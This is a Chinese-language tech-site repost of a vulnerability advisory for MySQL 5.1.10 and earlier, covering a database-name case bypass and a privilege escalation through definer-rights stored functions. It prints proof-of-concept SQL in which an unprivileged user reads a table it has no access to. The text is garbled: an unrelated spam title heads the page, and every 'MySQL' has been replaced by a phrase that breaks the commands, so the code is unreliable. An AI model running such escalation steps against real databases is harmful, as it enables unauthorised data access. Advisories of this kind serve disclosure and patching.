自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

MySQL權(quán)限提升與安全限制問題探討

數(shù)據(jù)庫(kù) MySQL
以下的文章主要是講述MySQL權(quán)限提升與安全限制繞過漏洞的實(shí)際應(yīng)用,如果你對(duì)這一技術(shù),心存好奇的話,以下的文章將會(huì)揭開它的神秘面紗。

以下的文章主要講述的是MySQL權(quán)限提升與安全限制繞過漏洞的實(shí)際應(yīng)用,我前幾天在相關(guān)網(wǎng)站看見MySQL權(quán)限提升與安全限制繞過漏洞的實(shí)際應(yīng)用的資料,覺得挺好,今天就拿出來供大家分享。

受影響系統(tǒng):

MySQL(和PHP搭配之最佳組合) AB MySQL(和PHP搭配之最佳組合) <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之最佳組合)是一款使用非常廣泛的開放源代碼關(guān)系數(shù)據(jù)庫(kù)系統(tǒng),擁有各種平臺(tái)的運(yùn)行版本。

在MySQL(和PHP搭配之最佳組合)上,擁有訪問權(quán)限但無創(chuàng)建權(quán)限的用戶可以創(chuàng)建與所訪問數(shù)據(jù)庫(kù)僅有名稱字母大小寫區(qū)別的新數(shù)據(jù)庫(kù)。成功利用這個(gè)漏洞要求運(yùn)行MySQL(和PHP搭配之最佳組合)的文件系統(tǒng)支持區(qū)分大小寫的文件名。

此外,由于在錯(cuò)誤的安全環(huán)境中計(jì)算了suid例程的參數(shù),攻擊者可以通過存儲(chǔ)的例程以例程定義者的權(quán)限執(zhí)行任意DML語(yǔ)句。成功攻擊要求用戶對(duì)所存儲(chǔ)例程擁有EXECUTE權(quán)限。

測(cè)試方法:

【警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!】

1、創(chuàng)建數(shù)據(jù)庫(kù)

  1. $ MySQL(和PHP搭配之最佳組合) -h my.MySQL(和PHP搭配之最佳組合).server -u sample -p -A sample  
  2. Enter password:   
  3. Welcome to the MySQL(和PHP搭配之最佳組合) monitor. Commands end with ; or \g.  
  4. Your MySQL(和PHP搭配之最佳組合) connection id is 263935 to server version: 4.1.16-standard  
  5. MySQL(和PHP搭配之最佳組合)> create database another;  
  6. ERROR 1044: Access denied for user 'sample'@'%' to database 'another'  
  7. MySQL(和PHP搭配之最佳組合)> create database sAmple;   
  8. Query OK, 1 row affected (0.00 sec)  

2、權(quán)限提升

  1. --disable_warnings  
  2. drop database if exists MySQL(和PHP搭配之最佳組合)test1;  
  3. drop database if exists MySQL(和PHP搭配之最佳組合)test2;  
  4. drop function if exists f_suid;  
  5. --enable_warnings  
  6. # Prepare playground  
  7. create database MySQL(和PHP搭配之最佳組合)test1;  
  8. create database MySQL(和PHP搭配之最佳組合)test2;  
  9. create user malory@localhost;  
  10. grant all privileges on MySQL(和PHP搭配之最佳組合)test1.* to malory@localhost;  
  11. # Create harmless (but SUID!) function  
  12. create function f_suid(i int) returns int return 0;  
  13. grant execute on function test.f_suid to malory@localhost;  
  14. use MySQL(和PHP搭配之最佳組合)test2;  
  15. # Create table in which malory@localhost will be interested but to which  
  16. # he won't have any access  
  17. create table t1 (i int);  
  18. connect (malcon, localhost, malory,,MySQL(和PHP搭配之最佳組合)test1);  
  19. # Correct malory@localhost don't have access to MySQL(和PHP搭配之最佳組合)test2.t1  
  20. --error ER_TABLEACCESS_DENIED_ERROR  
  21. select * from MySQL(和PHP搭配之最佳組合)test2.t1;  
  22. # Create function which will allow to exploit security hole  
  23. delimiter |;  
  24. create function f_evil ()  
  25. returns int  
  26. sql security invoker  
  27. begin  
  28. set @a:current_user();  
  29. set @b:= (select count(*) from MySQL(和PHP搭配之最佳組合)test2.t1);  
  30. return 0;  
  31. end|  
  32. delimiter ;|  
  33. # Again correct  
  34. --error ER_TABLEACCESS_DENIED_ERROR  
  35. select f_evil();  
  36. select @a, @b;  
  37. # Oops!!! it seems that f_evil() is executed in the context of  
  38. # f_suid() definer, so malory@locahost gets all info that he wants  
  39. select test.f_suid(f_evil());  
  40. select @a, @b;  
  41. connection default;  
  42. drop user malory@localhost;  
  43. drop database MySQL(和PHP搭配之最佳組合)test1;  
  44. drop database MySQL(和PHP搭配之最佳組合)test2;  

 

建議:

廠商補(bǔ)?。篗ySQL(和PHP搭配之最佳組合) AB,目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問題,請(qǐng)到廠商的主頁(yè)下載。

 

【編輯推薦】

  1. MySQL-Server連接在MySQL-Client下
  2. 正確解決MySQL中文亂碼的實(shí)操
  3. 提高M(jìn)ySQL連接數(shù),很簡(jiǎn)單
  4. MySQL數(shù)據(jù)庫(kù)的同步實(shí)例的實(shí)際操作
  5. 實(shí)現(xiàn)MySQL自動(dòng)啟動(dòng)很簡(jiǎn)單
責(zé)任編輯:佚名 來源: 博客園
相關(guān)推薦

2019-01-17 14:02:53

2010-06-12 13:04:03

MySQL連接池

2010-04-02 13:53:47

2011-03-16 15:34:44

2024-05-08 16:44:40

TCPRST網(wǎng)絡(luò)協(xié)議

2011-02-25 13:42:45

Proftpd

2011-01-21 13:29:03

Sendmail

2016-11-23 15:48:05

iOS APPCache

2019-02-21 06:51:31

2009-09-23 10:19:05

UnixLinux安全

2010-01-06 18:33:56

JSON與XML

2009-11-10 15:45:55

路由交換機(jī)

2017-03-14 13:57:15

數(shù)據(jù)庫(kù)權(quán)限分配探討

2010-06-07 14:44:24

MySQL導(dǎo)入

2019-01-02 13:03:53

MySQL存儲(chǔ)權(quán)限

2018-04-18 09:18:44

數(shù)據(jù)庫(kù)MySQL存儲(chǔ)過程

2011-04-19 09:47:14

2013-07-23 10:36:02

RFID技術(shù)個(gè)人隱私安全隱私安全

2010-04-06 14:39:31

2010-02-04 11:15:28

C++模板限制
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)